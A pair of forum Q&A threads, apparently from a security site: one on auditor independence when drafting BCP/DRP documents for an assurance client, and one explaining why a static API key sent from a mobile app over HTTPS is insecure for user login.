It is almost a given that at some time, a failure will occur with IT assets of a company. Without a functioning, and well-tested, BCP / DRP, how do you mitigate the continuity threat to the business?

  If we are to provide serious risk assurances, should we provide them another service to create these docs, policies or shall it be covered along with SNA?

Absolutely Not. This is a conflict of interest and would be considered unethical. If you were to offer this service, your professional judgement is Impaired and any subsequent assurances you provide for this client is inherently untrustworthy. Please see this document from ISACA for additional guidance of professional independence of the assurance function:

http://www.isaca.org/Knowledge-Center/Standards/Documents/1003-Professional-Independence.pdf


Is HTTPS + FacebookID + Secret Header token sufficient for a user login? Disclosure - I'm not a security professional - but I have a security issue (I think) I need to articulate to a client.

We have a partner organisation that has built an API for a mobile app we're building. Rather than use oAuth for the facebook login - we're required to POST a user's facebook ID to the API endpoint, via HTTPS, with a static API key in the header.

They regard this as sufficiently secure to grant access to that user's account. But it smells fishy to me.

i.e.

POST to https://example.com/user/auth?id=12345678 with header X-Auth-APIKEY = TOPSECRET

Obviously, I see an issue where if the key is compromised, it's screwed (because it's hard-coded into the our app) - but is there anything else I'm missing?

Extra kudos for translating any potential threat into language a marketing manager could understand :)

If it is server-to-server and you control the server that might be acceptable. But if this API is used from the client, No this is not OK.

HTTPS will secure the secret from third-party eves-droppers but not from the user himself. Since the user controls the computer, they decide what certificates are trusted, and can install their own man-in-the-middle. There is even a free tool which does this known as Fiddler - used primarily for debugging purposes it can install an HTTPS certificate into the certificate store and use it to MITM all communications.

Therefore it is trivial for any computer user to find out the APIKEY, and then every other user is pwned. Not Good.

For marketing: "This would allow any technical user to discover the APIKEY and they could then access the data of every user."